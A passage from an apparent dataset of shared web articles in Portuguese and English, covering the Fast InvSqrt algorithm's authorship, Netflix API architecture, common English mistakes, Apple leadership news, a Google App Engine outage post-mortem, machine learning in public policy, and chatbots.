essas fórmulas matemáticas. A linha utiliza um número mágico: 0x5f3759df . É difícil abstrair o que o código faz com facilidade, mas através dessa constante que subtrai o trecho ""i>>1"" deslocam-se os bits uma posição para a direita, fazendo o último bit significativo cair, o que resulta em uma divisão por 2. Com isso, chegamos a um valor muito próximo da raiz quadrada inversa. A quinta linha converte os bits para ponto flutuante novamente e a sexta linha, a mais importante , é uma adaptação da Aproximação de Newton em linha de código. É através dela que o valor torna-se ainda mais preciso e próximo da raiz quadrada inversa . Por último, na sétima linha, o valor adquirido retorna ao código que chamou a função, chegando ao fim do método Fast InvSqrt() . Autoria da heurística Diversos sites e portais dão os créditos desta solução ao genial programador John Carmack (Carmack), desenvolvedor de engines de jogos como Commander Keen , Wolfenstein 3D , Doom e Quake . De fato, o trecho citado nesse artigo aparece dentro do código-fonte de Quake 3 Arena, que teve a sua engine desenvolvida por ele. Outro possível autor seria Michael Abrash , conhecido como um dos mais extraordinários otimizadores de assembly x86 . Entretanto, o próprio Carmack já negou sua participação e afirmou não acreditar que tenha sido o Michael quando respondeu a um e-mail do portal Beyond3D: ""Não fui eu, e não acho que foi o Michael. Terje Mathison talvez?"" . Terje Mathison é outro mestre em otimização de código para microprocessadores x86. O portal Beyond3D também entrou em contato com ele, que respondeu agradecendo por ter sido considerado um possível autor, e disse que escreveu um código para calcular a raiz quadrada inversa ""uns 5 anos atrás"" (possivelmente entre 1999 e 2000), tendo o intuito de solucionar o problema de um sueco com fluídos químicos . Todavia Terje negou sua autoria, apontando as diferenças no Fast InvSqrt() ausentes na solução que ele havia criado. Ele também confirmou que o código não foi escrito por ele. Após mais um período de pesquisas, o Beyond3D conseguiu a informação com um funcionário da NVIDIA de que o nome mais provável de merecer autoria era Gary Tarolli (Tarolli), um dos fundadores da 3dfx Interactive , empresa pioneira em gráficos 3d para computadores domésticos. É importante mencionar que o método Fast InvSqrt() foi implementado posteriormente em hardware nas placas gráficas 3dfx, o que tornou a pista de Tarroli ainda mais ""quente"". Em resposta, apesar de afirmar não merecer os créditos, Tarolli confirmou ter usado o algoritmo muitas vezes (o que contribuiu para a popularização e longevidade desta heurística) e mostrou bastante familiaridade com ele, explicando as passagens difíceis bem como a origem de cada um delas. Tarolli também afirmou ter ""mexido"" no número mágico (a constante utilizada na Aproximação de Newton, quarta linha) para refinar a precisão do resultado. Com isso, é possível concluir que, apesar de não ter todo o crédito, Gary Tarolli foi uma das últimas pessoas a refinar o método Fast InvSqrt() (RYS, 2004). Conclusão Em um período de grandes avanços dos ambientes tridimensionais em jogos eletrônicos, a heurística Fast InvSqrt() mostrou-se extremamente útil para minimizar esforços desnecessários de processamento e permitir a criação de jogos com visuais estonteantes. Embora não seja mais utilizado, o recurso foi tão útil que chegou a ser implementado em hardware nas placas gráficas 3dfx (RYS, 2004). A constante utilizada no algoritmo original pode ser substituída por ""0x5f375a86"", resultando em desempenho ligeiramente melhor (LOMONT, 2003). Referências RYS. Origin of Quake3's Fast InvSqrt() . Disponível em < >. Acesso em: 5 de janeiro de 2016. Agradeço ao meu pai Jorge de Jesus Ganassim revisar o texto e apontar melhorias e aos meus amigos Adriano Rezende (engenheiro de software) e Heider Carlos (futuro engenheiro civil) o lerem e apoiarem e apontarem erros menores.",pt
1472040400,CONTENT SHARED,4165127518659426948,7645894863578715801,-3530413258748289874,,,,HTML,http://techblog.netflix.com/2016/08/engineering-trade-offs-and-netflix-api.html,The Netflix Tech Blog: Engineering Trade-Offs and The Netflix API Re-Architecture,"Netflix's engineering culture is predicated on Freedom & Responsibility, the idea that everyone (and every team) at Netflix is entrusted with a core responsibility. Within that framework they are free to operate with freedom to satisfy their mission. Accordingly, teams are generally responsible for all aspects of their systems, ranging from design, architecture, development, deployments, and operations. At the same time, it is inefficient to have all teams build everything that they need from scratch, given that there are often commonalities in the infrastructure needs of teams. We (like everyone else) value code reuse and consolidation where appropriate. Given these two ideas (Freedom & Responsibility and leveragability of code), how can an individual and/or team figure out what they should optimize for themselves and what they should inherit from a centralized team? These kinds of trade-offs are pervasive in making engineering decisions, and Netflix is no exception. The Netflix API is the service that handles the (sign-up, discovery and playback) traffic from all devices from all users. Over the last few years, the service has grown in a number of different dimensions: it's grown in complexity, its request volume has increased, and Netflix's subscriber base has grown as we expanded to most countries in the world. As the demands on the Netflix API continue to rise, the architecture that supports this massive responsibility is starting to approach its limits. As a result, we are working on a new architecture to position us well for the future (see a recent presentation at QCon for more details). This post explores the challenge of how, in the course of our re-architecture, we work to reconcile seemingly conflicting engineering principles: velocity and full ownership vs. maximum code reuse and consolidation. Microservices Orchestration in the Netflix API The Netflix API is the ""front door"" to the Netflix ecosystem of microservices. As requests come from devices, the API provides the logic of composing calls to all services that are required to construct a response. It gathers whatever information it needs from the backend services, in whatever order needed, formats and filters the data as necessary, and returns the response. So, at its core, the Netflix API is an orchestration service that exposes coarse grained APIs by composing fined grained functionality provided by the microservices. To make this happen, the API has at least four primary requirements: provide a flexible request protocol; map requests to one or more fine-grained APIs to backend microservices; provide a common resiliency abstraction to protect backend microservices; and create a context boundary (""buffer"") between device and backend teams. Today, the API service exposes three categories of coarse grained APIs: non-member (sign-up, billing, free trial, etc.), discovery (recommended shows and movies, search, etc.) and playback (decisions regarding the streaming experience, licensing to ensure users can view specific content, viewing history, heartbeats for user bookmarking, etc.). Consider an example from the playback category of APIs. Suppose a user clicks the ""play"" button for Stranger Things Episode 1 on their mobile phone. In order for playback to begin, the mobile phone sends a ""play"" request to the API. The API in turn calls several microservices under the hood. Some of these calls can be made in parallel, because they don't depend on each other. Others have to be sequenced in a specific order. The API contains all the logic to sequence and parallelize the calls as necessary. The device, in turn, doesn't need to know anything about the orchestration that goes on under the hood when the customer clicks ""play"". Figure 1: Devices send requests to API, which orchestrates the ecosystem of microservices. Playback requests, with some exceptions, map only to playback backend services. There are many more discovery and non-member dependent services than playback services, but the separation is relatively clean, with only a few services needed both for playback and non-playback requests. This is not a new insight for us, and our organizational structure reflects this. Today, two teams, both the API and the Playback teams, contribute to the orchestration layer, with the Playback team focusing on Playback APIs. However, only the API team is responsible for the full operations of the API, including releases, 24/7 support, rollbacks, etc. While this is great for code reuse, it goes against our principle of teams owning and operating in production what they build. With this in mind, the goals to address in the new architecture are: We want each team to own and operate in production what they build. This will allow more targeted alerting, and faster MTTR. Similarly, we want each team to own their own release schedule and wherever possible not have releases held up by unrelated changes. As we look into the future, we are considering two options. In option 1 (see figure 2), the orchestration layer in the API will, for all playback requests, be a pass-through and simply send the requests on to the playback-specific orchestration layer. The playback orchestration layer would then play the role of orchestrating between all playback services. The one exception to a full pass-through model is the small set of shared services, where the orchestration layer in the API would enrich the request with whatever information the playback orchestration layer needs in order to service the request. Figure 2: OPTION 1: Pass-through orchestration layer with playback-specific orchestration layer Alternatively, we could simply split into two separate APIs (see figure 3). Figure 3: OPTION 2: Separate playback and discovery/non-member APIs Both of the approaches actually solve the challenges we set out to solve: for each option, each team will own the release cycle as well as the production operations of their own orchestration layer - a step forward in our minds. This means that the choice between the two options comes down to other factors. Below we discuss some of our considerations. Developer Experience The developers who use our API (i.e., Netflix's device teams) are top priority when designing, building and supporting the new API. They will program against our API daily, and it is important for our business that their developer experience and productivity is excellent. Two of the top concerns in this area are discovery and documentation: our partner teams will need to know how to interact with the API, what parameters to pass in and what they can expect back. Another goal is flexibility: due to the complex needs we have for 1000+ device types, our API must be extremely flexible. For instance, a device may want to request a different number of videos, and different properties about them, than another device would. All of this work will be important to both playback and non-playback APIs, so how is this related to the one vs. two APIs discussion? One API facilitates more uniformity in those areas: how requests are made and composed, how the API is documented, where and how teams find out about changes or additions to the API, API versioning, tools to optimize the developer experience, etc. If we go the route of two APIs, this is all still possible, but we will have to work harder across the two teams to achieve this. Organizational implications and shared components The two teams are very close and collaborate effectively on the API today. However, we are keenly aware that a decision to create two APIs, owned by two separate teams, can have profound implications. Our goals would, and should, be minimal divergence between the two APIs. Developer experience, as noted above, is one of the reasons. More broadly, we want to maximize the reuse of any components that are relevant to both APIs. This also includes any orchestration mechanisms, and any tools, mechanisms, and libraries related to scalability, reliability, and resiliency. The risk is that the two APIs could drift apart over time. What would that mean? For one, it could have organizational consequences (e.g., need for more staff). We could end up in a situation where we have valued ownership of components to a degree that we have abandoned component reuse. This is not a desirable outcome for us, and we would have to be very thoughtful about any divergence between the two APIs. for Even in a world where we have a significant amount of code use, we recognize that the operational overhead will be higher. As noted above, the API is critical to the Netflix service functioning properly for customers. Up until now, only one of the teams has been tasked with making the system highly scalable and highly resilient, and carrying the operational burden. The team has spent years building up expertise and experience in system scale and resiliency. By creating two APIs, we would be distributing these tasks and responsibilities to both teams. Simplicity If one puts the organizational considerations aside, two separate APIs is simply the cleaner architecture. In option 1, if the API acts largely as a pass-through, is it worth incurring the extra hop? Every playback request that would come into the API would simply be passed along to the playback orchestration layer without providing much functional value (besides the small set of functionality needed from the shared services). If the components that we build for discovery, insights, resiliency, orchestration, etc. can be reused in both APIs, the simplicity of having a clean separation between the two APIs is appealing. Moreover, as mentioned briefly above, option 1 also requires two teams to be involved for Playback API pushes that change the interaction model, while option 2 truly separates out the deployments. Where does all of this leave us? We realize that this decision will have long-lasting consequences. But in taking all of the above into consideration, we have also come to understand that there is no perfect solution. There is no right or wrong, only trade-offs. Our path forward is to make informed assumptions and then experiment and build based on them. In particular, we are experimenting with how much we can generalize the building blocks we have already built and are planning to build, so that they could be used in both APIs. If this proves fruitful, we will then build two APIs. Despite the challenges, we are optimistic about this path and excited about the future of our services. If you are interested in helping us tackle this and other equally interesting challenges, come join us! We are . several different",en
1472046703,CONTENT SHARED,9054050762437897017,-5527145562136413747,8804976775531983579,,,,HTML,http://blog.runrun.it/erros-vocabulario-pronuncia-em-ingles/,71 erros de vocabulário e pronúncia em inglês que você faz,"Depois do baita sucesso que alcançamos com nosso post "" 71 erros de português que precisam sumir dos seus e-mails "", decidimos compilar agora os 71 erros de vocabulário e pronúncia em inglês para desaprender o quanto antes. Além disso, apresentamos expressões oportunas para o cotidiano. O intuito é elucidar as dúvidas do idioma que mais cedo ou mais tarde você terá de usar. E se você já escreve em inglês no dia a dia, mas sofre com algumas dúvidas, este post irá evitar que passe, digamos, uma vergonha internacional, por e-mail ou ao vivo. A propósito, leia também nosso artigo sobre o substituto do e-mail: o software de gestão do trabalho . Já ouviu falar? Empresas do mundo todo estão adotando ferramentas especializadas em transformar a maneira como as pessoas trabalham. a) Depende do contexto 1. Despite, In spite of / Although Elas têm praticamente o mesmo sentido, mas alteram a construção da frase. Veja: ""Despite"" e ""In spite of"" significam ""Apesar de"". Ex: ""Despite being experienced, he didn't get the job."" (Apesar de ser experiente, ele não conseguiu o emprego) ""Although"" significa ""Embora"". Ex: ""Although he was experienced, he didn't get the job."" (Embora ele fosse experiente, não conseguiu o emprego) 2. Look at / Look out / Look into / Look for / Look after At - olhar propriamente Out - ter cuidado Into - verificar For - procurar After - ansiar ""Uneducated"" significa estúpido. ""Rude"" significa mal-educado. Usamos ""Music"" quando nos referimos à Arte. Usamos ""Song"" para uma canção específica. 5. Shopping / Mall ""Shopping"" vem do verbo ""to shop"" (comprar). ""Mall"" ou ""Shopping Mall"" é o grande centro de compras. 6. Tough / Though / Thought / Thorough Tough é difícil. Though é ""embora"", ""no entanto"". Thought é o passado do verbo ""think"" (pensar). Thorough é minucioso, meticuloso. 7. Many / Much / A lot of ""Many"" ocorre antes de substantivos contáveis no plural. Ex: I have many friends. (Eu tenho muitos amigos.) ""A lot of"" antes de substantivos contáveis ou incontáveis e verbos. Ex: They work a lot. (Eles trabalham muito.) ""Much"" antes de substantivos incontáveis. Ex: Do you drink much water? (Você toma muita água?) 8. That / Which ""That"" se usa para restringir, classificar a oração anterior. Ex: ""I was wearing the dress that I bought to wear to Jo's party."" (Estava usando o vestido que comprei para a festa da Jo). ""Which"" se usa quando não há intenção de restringir a oração anterior. Ex: ""I bought a new dress, which I will be wearing to Jo's party."" (Comprei um vestido novo, que vou usar na festa da Jo). Aqui, o fato de usar o vestido na festa surge como um complemento casual do fato de ter comprado a roupa. b) A forma correta é a segunda Para dizer ""Mudei de ideia"", você se refere à sua mente. Só devemos usar ""Ask for"" quando esperamos receber algo. Ex: ""He asked for a hug."" (Ele pediu um abraço). Para expressar a idade, usa-se o verbo ""to be"" + o número de anos, podendo ser acompanhado da expressão ""years old"" (anos de idade). Use ""I have doubts"" apenas se for indicar desconfiança ou julgar que algo está errado. Por ex: ""I have doubts about these numbers"" (Estou descrente sobre estes números). Para dizer que você tem (ou não) tempo suficiente, use a segunda forma, com o adjetivo antes do substantivo. ""Can"", ""Could"", ""May"", ""Might"", ""Must"", ""Should"", nenhum desses verbos modais é acompanhado de preposição. Ex: ""You can do anything"", ""May I help you?"" e não ""You can to do anything"", ""May I to help you?"". A menos que você esteja orando, use a expressão ""Thank God"". Ela sim quer dizer ""Graças a Deus"". O número vem antes. Ex: ""There's one more week until I take my vacation."" Ex: ""It just depends on you"" (Isso só depende de você). Para dizer que perdeu o ônibus ou um voo, use ""to miss"". Para dizer que perdeu um objeto, como as chaves, use ""to lose"". Ex: I lost the keys. É como se diz ""Não tenho ideia"". Tomar uma decisão é ""Fazer uma decisão"" em inglês. ""Dar uma festa"" em inglês se diz com o verbo ""to have"" (ter). Palavras como ""Money"", ""Water"" e ""Information"" não são contáveis e, por isso, usamos ""some"", ""a lot of"", ""much"", ""any"". Essas são as formas corretas de dizer ""Acho que sim"" e ""Acho que não"". Usa-se ""an"" antes de substantivo iniciado com som de vogal, e ""a"" antes de substantivo iniciado com som de consoante ou semivogal. Em nosso caso, os sons iniciais das palavras 'University' e 'European' não são considerados sons vocálicos, mas semivocálicos, (iu). after aux verb do, the main verb of the sentence does not need to be conjugated) correct - Did you go there yesterday? c) Falsos cognatos (parece, mas não é) Para pretender, o verbo é ""to intend"". Lembre-se de intenção. Para dizer atualmente, use ""currently"". Lembre-se de tempo corrente. Para se referir aos parentes, use ""relatives"". Você pode usar ""habit"" para se referir a um costume. ""Context"" com xis é contexto em inglês. ""Necklace"" é colar. ""Factory"" é que significa fábrica. ""Soap Opera"" é o que você deve usar se está se referindo a uma novela. ""Supporter"" sim quer dizer adepto. 41. To be obliged (ser grato) Para dizer ""ser obrigado a"", use ""to be forced to"". Para dizer convicto, use ""convinced"" Para dizer decepção, use ""disappointment"" 44. Delectable: agradável, delicioso 45. Dependable: confiável 47. Genial: amável, agradável 48. Interest: juros 49. Preservative: conservante de alimentos 50. Library: biblioteca 51. Sensible: sábio, sensato 53. Valorous: destemido, corajoso d) Pronúncia em inglês (missão impossível?) 54. Year / Ear São quase idênticas. Mas o [i] de ""Year"" é um pouco mais longo do que o de ""Ear"". De olho no contexto! 55. World / Word Este vídeo dá uma ótima dica para aprender a diferença entre essas duas: diga as palavras ""wore"" e ""old"" juntas e você terá dito ""world""! 56. Terminação em -ED Quando a palavra termina em um som consonantal, como ""K"", a partícula -ED soa como T. Ex: Talked = ""Talkt"". Quando a palavra termina em um som consonantal, como ""R"", a partícula -ED soa como D. Ex: Bored = ""Bord"". Apenas quando a palavra termina em ""T"" ou ""D"", a partícula -ED soa como ""ED"". Ex: Effected = ""Effected"". 57. B mudo em ""MB"" e ""BT"" Quando B e M estão juntos ao final de uma palavra, não se pronuncia o B, apenas o M. O mesmo vale para quando B e T estão juntos. Ex: Bom(b), Clim(b), Num(b), De(b)t, Su(b)tle, Dou(b)t. e) Expressões oportunas 58. Meu dia está corrido ""My day is busy"". E não ""My day is run"". 59. A batata está assando ""A disaster is on the way"". E não ""The potato is baking"". 60. Onde Judas perdeu as botas ""In the middle of nowhere"". Jamais ""Where Judas has lost the boots"". 61. Pão-duro ""Stingy"". Nada de ""Hard bread"". 62. Deixa pra lá ""Forget about it"". Não se usa ""Leave it there"" nesse sentido. 63. Encher o saco ""To annoy someone"". Nem pensar dizer ""Fill the bag"". 64. Fazer uma tempestade num copo d'água ""To make a mountain out of a molehill"". Nunca diga ""To make a storm in a glass"". ""Busybody"". ""To go dutch"". Sem chance usar ""To make a little cow"". ""Gratuity"", que não é ""gratuidade"". ""Heyday"". ""Party favor"" - que não tem nada a ver com ""favores de festa"". ""Party of two"". Nem pensar ""Table for two"". 71. Você decide! It's up to you! E-mails? Você ainda troca e-mails? Agora que você deu um importante passo para não cometer mais erros de vocabulário e pronúncia em inglês ao vivo e em e-mails, é hora de avançar ainda mais. O número de e-mails e a forma como a troca de demandas fica desordenada provavelmente são um pesadelo diário para você e sua equipe. O fim do pesadelo está na contratação de uma ferramenta de gestão de projetos, tarefas e fluxo de trabalho, como o Runrun.it. Experimente grátis e sinta a diferença:",pt
1472047958,CONTENT SHARED,-5647324599703588252,-709287718034731589,-5548172427377411541,,,,HTML,http://www.macrumors.com/2016/08/23/pinterest-acquires-instapaper/,Pinterest Acquires Read-It-Later App Instapaper,"Popular app Instapaper, designed to allow users to save notable news articles to read at a later time, has been acquired by Pinterest . Created by Marco Arment in 2008, Instapaper was one of the first apps that implemented read-it-later functionality, and it was certainly one of the most widely used and well-known apps in the genre. Instapaper, available on iOS, Android, Kindle, and the web, was first sold to Betaworks in 2013 and now it belongs to Pinterest. Pinterest plans to use Instapaper to encourage Pinterest users to save more articles to the site, a feature that's existed for several years but isn't often used, and some of Instapaper's search functionality will be integrated into Pinterest. In a blog post, Instapaper said the acquisition would also give it the resources to grow its core mission -- ""allowing our users to discover, save, and experience interesting web content."" Instapaper provides a compelling source for news-based content, and we're excited to take those learnings to Pinterest's discovery products. We'll also be experimenting with using our parsing technology for certain Rich Pin types. Instapaper will continue to operate as a standalone app and service, and no changes are expected for end users. The company will, however, be ending development on Instaparser on November 1, 2016.",en
1472048015,CONTENT SHARED,-7766518409111702133,-709287718034731589,-5548172427377411541,,,,HTML,http://www.cultofmac.com/443184/today-in-apple-history-steve-jobs-resigns-as-apple-ceo/,Today in Apple history: Steve Jobs resigns as Apple CEO,"Steve Jobs' health wouldn't allow him to continue as CEO. Photo: Ben Stanfield /Flickr CC August 24, 2011: Steve Jobs steps down as Apple CEO as his health worsens, with Tim Cook assuming the role of Apple's seventh CEO. ""I have always said if there ever came a day when I could no longer meet my duties and expectations as Apple's CEO, I would be the first to let you know,"" Jobs writes in his retirement letter to the Apple board. ""Unfortunately that day has come."" By August 2011, Jobs' pancreatic cancer had worsened to the point where he knew there were little chance of him returning to Apple as full-time CEO. He talked the decision over with his wife and close confidantes like Jony Ive and Tim Cook. Rather than calling a special gathering of the Apple board, Jobs decided to resign at one of the company's regularly scheduled board meetings. As a sign of how far his health had declined, Jobs needed a wheelchair to attend, although he insisted on doing so - rather than participating via conference call. After asking for all but Apple's most senior board of directors to step outside, Jobs read the letter quoted above, strongly recommended Tim Cook be appointed new CEO, and said he looked forward to contributing to Apple in a new role. This was as Chairman of the Board. It wasn't just an honorific title: Jobs had increasingly moved away from the day-to-day running of Apple in his last few years, which is why Tim Cook's operations and supply chain wizardry proved so useful. Jobs instead focused on ""blue sky"" thinking about new, cutting-edge research projects, as well as creative concepts like marketing. Aside from reduced hours to fit around his health needs, that wouldn't have changed with the shift from CEO to Chairman. Tim Cook spoke a bit about this role for Steve in his recent Washington Post interview , saying that: ""When I first took the job as CEO, I actually thought that Steve would be here for a long time. Because he was going to be chairman, work a bit less after he came back up the health curve. So I went into it with one thought, and then weeks later - six weeks later, whatever... [he died.] I know this sounds probably bizarre at this point, but I had convinced myself that he would bounce, because he always did."" In a statement on the day of Jobs' resignation , Art Levinson, Chairman of Genentech, said on behalf of Apple's board: ""Steve's extraordinary vision and leadership saved Apple and guided it to its position as the world's most innovative and valuable technology company. Steve has made countless contributions to Apple's success, and he has attracted and inspired Apple's immensely creative employees and world class executive team. In his new role ... Steve will continue to serve Apple with his unique insights, creativity and inspiration."" During his last official day as CEO, Jobs was shown the iPhone 4s, which introduced Siri. This was one of the last major projects Steve had been involved with at Apple. What do you think Jobs' most significant decision was during his time as Apple CEO? Leave your comments below.",en
1472048051,CONTENT SHARED,-5550023273712568004,-709287718034731589,-5548172427377411541,,,,HTML,http://www.macrumors.com/2016/08/24/tim-cook-apple-ceo-five-years/,"Tim Cook Reaches Five Years as Apple CEO, Unlocks Over $100 Million in Bonuses","Today marks the fifth anniversary since Tim Cook was named Apple CEO on August 24, 2011, the same day that late co-founder Steve Jobs stepped down as chief executive for the final time and recommended the board of directors appoint Cook as his permanent successor. Upon reaching the five-year mark, Cook has today unlocked previously awarded stock bonuses currently worth over $100 million. The bonuses are tied to both his tenure and Apple's performance under his leadership, including its total shareholder return relative to the S&P 500 index. Cook's bonus includes 700,000 tenure-based restricted stock units that vested today as part of a larger compensation package of over 4.7 million shares awarded on August 24, 2011, in addition to his first of six annual installments of 280,000 tenure-based restricted stock units that vested today. The combined 980,000 shares are valued at nearly $106.7 million based on AAPL's closing price of $108.85 on Tuesday. Cook's bonus could be even higher if Apple's total shareholder return is in the middle third or top third relative to other companies in the S&P 500 from August 25, 2013 through August 24, 2016. He will receive another 140,000 RSUs for middle third performance, or 280,000 RSUs for top third performance. AAPL has risen around 52% since August 25, 2013, while the S&P 500 has risen around 32% in the same time period, making at least a middle third finish a strong possibility. A restricted stock unit, or RSU, is a form of compensation valued in terms of company stock, but the stock is not issued at the time of the grant. Instead, the recipient gets shares of stock at a later date, generally only if they are still employed by the company. Cook personally requested that his award be modified to adhere to a more performance-based compensation system in 2013. Another 700,000 of his RSUs are scheduled to vest on August 24, 2021, plus 280,000 RSUs each August 24 through 2021. Cook's net worth, assuming he remains with the company through August 24, 2021 and meets performance targets, is estimated to be over $500 million based on his current stock options and RSUs awarded. He has previously pledged to donate the vast majority of his wealth, including these stock bonuses, to charities in his lifetime. In May 2015, for example, Cook donated approximately 50,000 shares of Apple stock, then worth approximately $6.5 million, to undisclosed charities. Cook has overseen the launch of the Apple Watch , MacBook Pro with Retina display, ultra-thin 12-inch MacBook, iPad Pro , several iPhone and iPad models, Apple Maps , Apple Music , Apple Pay , Siri , and many other products and services since taking over the reigns in 2011. Apple became the world's most valuable company in 2012 under his leadership, and it continues to hold that title today. Apple stock has risen over 132% since Cook was appointed as CEO five years ago.",en
1472048353,CONTENT SHARED,-2976850014387537414,-1443636648652872475,560375642352974408,,,,HTML,http://www.zdnet.com/article/google-heres-how-a-software-update-knocked-out-our-app-engine-cloud/,Google: Here's how a software update knocked out our App Engine cloud | ZDNet,"Image: iStock When Google migrates apps between its cloud datacenters, the tech giant describes the process as normally being ""graceful"", but a recent move proved to be anything but. The mishap, which Google has traced back to a router update and datacenter automation gone awry, triggered a nearly two-hour disruption to Google App Engine services on August 11. The incident resulted in just over one-fifth of apps hosted on Google App Engine's US-CENTRAL region suffering from errors at a significantly higher rate than usual. Google has apologized and has implemented plans to ensure the failure doesn't happen again. ""On Thursday 11 August 2016 from 13:13 to 15:00 PDT, 18 percent of applications hosted in the US-CENTRAL region experienced error rates between 10 percent and 50 percent, and three percent of applications experienced error rates in excess of 50 percent,"" Google explained in a post-mortem of the incident published on Tuesday . Although less severely affected, an even larger proportion of apps suffered from increased error rates, which end users may have experienced as sluggish load times. According to Google, ""the 37 percent of applications which experienced elevated error rates also observed a median latency increase of just under 0.8 seconds per request"". The remaining 63 percent of apps in the region were not impacted. Google blamed itself for the outage, according to its root cause analysis of the event, which occurred during a routine balancing of traffic between regional datacenters, in this case US-CENTRAL. This procedure normally involves draining traffic from servers in one facility and redirecting it to another, where apps should have automatically restarted on newly-provisioned servers. However, on this occasion, the handoff occurred while a software update on traffic routers was underway. Google didn't foresee that doing both simultaneously would overload its traffic routers. ""This update triggered a rolling restart of the traffic routers. This temporarily diminished the available router capacity,"" Google said. ""The server drain resulted in rescheduling of multiple instances of manually-scaled applications. App Engine creates new instances of manually-scaled applications by sending a startup request via the traffic routers to the server hosting the new instance. ""Some manually-scaled instances started up slowly, resulting in the App Engine system retrying the start requests multiple times which caused a spike in CPU load on the traffic routers. The overloaded traffic routers dropped some incoming requests. ""Although there was sufficient capacity in the system to handle the load, the traffic routers did not immediately recover due to retry behavior which amplified the volume of requests."" Google added that a few things did go as planned during the mishap. Its engineers attempted to roll-back the change within 11 minutes of noticing a problem, but it was too late to reverse the CPU overload. While App Engine automatically redirected requests to other datacenters, Google's engineers were also compelled to manually redirect traffic to mitigate the issue. During its recovery efforts, Google engineers also discovered a ""configuration error that caused an imbalance of traffic in the new datacenters"". Fixing this resolved the incident at 3pm PDT. Google has now added more traffic-routing capacity to support future load-balancing efforts and has changed its automated rescheduling routines to avoid a repeat. ""We know that you rely on our infrastructure to run your important workloads and that this incident does not meet our bar for reliability. For that we apologize,"" Google said. The August 11 outage followed a several hour App Engine disruption in December that occurred while migrating the Google Accounts system to new storage equipment. That outage reportedly was behind Snapchat's brief problems in receiving new posts from users. In April, Google blamed two software bugs in its networking gear on an 18-minute worldwide outage of Google Compute Engine, its infrastructure-as-a-service offering. Read more on Google App Engine",en
1472048651,CONTENT SHARED,1525988103928186217,-1367575386492755119,3554515136140165743,,,,HTML,http://www.economist.com/news/finance-and-economics/21705329-governments-have-much-gain-applying-algorithms-public-policy,Of prediction and policy,"FOR frazzled teachers struggling to decide what to watch on an evening off, help is at hand. An online streaming service's software predicts what they might enjoy, based on the past choices of similar people. When those same teachers try to work out which children are most at risk of dropping out of school, they get no such aid. But, as Sendhil Mullainathan of Harvard University notes, these types of problem are alike. They require predictions based, implicitly or explicitly, on lots of data. Many areas of policy, he suggests, could do with a dose of machine learning. Machine-learning systems excel at prediction. A common approach is to train a system by showing it a vast quantity of data on, say, students and their achievements. The software chews through the examples and learns which characteristics are most helpful in predicting whether a student will drop out. Once trained, it can study a different group and accurately pick those at risk. By helping to allocate scarce public funds more accurately, machine learning could save governments significant sums. According to Stephen Goldsmith, a professor at Harvard and a former mayor of Indianapolis, it could also transform almost every sector of public policy. In hospitals, for instance, doctors try to predict heart attacks so they can act before it is too late. Manual systems correctly predict around 30%. A machine-learning algorithm created by Sriram Somanchi of Carnegie Mellon University and colleagues, and tested on historic data, predicted 80%-four hours in advance of the event, in theory giving time to intervene. Policing may be helped, too. Last year a policeman in Texas, who had responded to two suicide calls that day, was dispatched to a children's pool party and ended up pulling out his gun. Ideally, the station would have sent a less stressed officer. Many police chiefs already have a simple system to flag ""at risk"" officers. No one can be sure that machine learning would have prevented the Texas scare. But a system developed by Rayid Ghani at the University of Chicago and others increases the correctness of at-risk predictions by 12% and reduces the incorrect labelling of officers as being at risk by a third. It is now being used by the Charlotte-Mecklenburg police department in North Carolina. Chicago's Department of Public Health is another early adopter. It used to identify children with dangerous levels of lead in their bodies through blood tests and then cleanse their homes of lead paint. Now it tries to spot vulnerable youngsters before they are poisoned. And in India, Microsoft and the state government of Andhra Pradesh are helping farmers choose the best time to sow their seeds. This month, eyeing new government contracts, Microsoft held its first machine-learning and data-science conference in Bangalore. But the case for code is not always clear-cut. Many American judges are given ""risk assessments"", generated by software, which predict the likelihood of a person committing another crime. These are used in bail, parole and (most controversially) sentencing decisions. But this year ProPublica , an investigative-journalism group, concluded that in Broward County, Florida, an algorithm wrongly labelled black people as future criminals nearly twice as often as whites. (Northpointe, the algorithm provider, disputes the finding.) To limit potential bias, Mr Ghani says, avoid prejudice in the training data and set machines the right goals. Machines are trained to find patterns that predict future criminality from past data. They can therefore be told to find patterns that both predict criminality and avoid disproportionate false categorisation of blacks (and others) as future offenders. When a new defendant is tested against these patterns, the risk of racial skewing should be lower. Bail decisions, in which judges estimate the risk of a prisoner fleeing or offending before trial, seem particularly ripe for help. Jens Ludwig of the University of Chicago and his colleagues claim that their algorithm, tested on a sample of past cases, would have yielded around 20% less crime (see chart), while leaving the number of releases unchanged. A similar reduction nationwide, they suggest, would require an extra 20,000 police officers at a cost of $2.6 billion. The White House is taking notice. Better bail decisions are a big priority of its Data-Driven Justice Initiative, which 67 states, cities and counties signed in June. Still, people want to know how decisions that affect them are made. The European Union is considering giving citizens affected by algorithmic decisions the right to an explanation. ""Transparency, transparency, transparency"" is needed, says Jay Stanley of the American Civil Liberties Union. But private companies may be loth to divulge their special sauce. For Boston's chief information officer, Jascha Franklin-Hodge, that is a motivation to develop machine learning in-house. Analytical skills, however, are scarce. Other obstacles may also slow adoption. Getting enough data for a project can be hard. Combining supposedly confidential data sets can heighten the risk of accidentally identifying individuals. Some applications may be thought unethical. Mr Mullainathan and his colleagues show that machine learning can help predict the risk of death. That could, say, help focus hip replacements on those likely to live longest. Some may think that a step too far. Prediction is anyway probabilistic, not perfect. Officials still have to act. Getting rid of lead paint may be easy; even with clever algorithms, stopping traumatised policemen from drawing their guns is not. For governments that embrace machine learning, the future will depend on how well they marry its predictive power with old-fashioned human wisdom.",en
1472050575,CONTENT SHARED,-48321713734223478,3609194402293569455,-8656125210735227738,,,,HTML,https://techcrunch.com/2016/08/24/the-new-paradigm-for-human-bot-communication/,The new paradigm for human-bot communication,"Editor's note: Xuchen Yao is co-founder and CEO, and Guoguo Chen and Kenji Sagae are co-founders, of KITT.AI . Daniel Li is an associate at Madrona Venture Group . Chatbots offer the promise of frictionless access to goods, services and information, but creating effective bots can be deceptively tricky. The flip side of the opportunity to interact with users in a seamless, natural way is that user expectations can be prohibitively high . Bots need to be smart and provide greater convenience than apps - a very effective UI paradigm tailored for today's mobile devices that has been carefully refined for more than a decade. The good news is that the belief that bots must master human language or replace apps to succeed is false. Bots will engage with consumers in new ways that combine the strengths of humans and machines to allow both structured and unstructured information to be exchanged naturally and efficiently. Communication velocity One simple but intuitive way to measure the effectiveness of communication is to look at the amount of information exchanged per unit of time. Under this framework, text (e.g. SMS, chat, email) and speech (e.g. phone call) interactions differ in the amount of information that can be produced versus consumed. While we typically produce 120 to 140 words per minute when speaking, we can typically only write or type 40 to 70 words per minute. When we look at the speed of information consumption , reading speed in English is upwards of 200 words per minute, but listening speed is 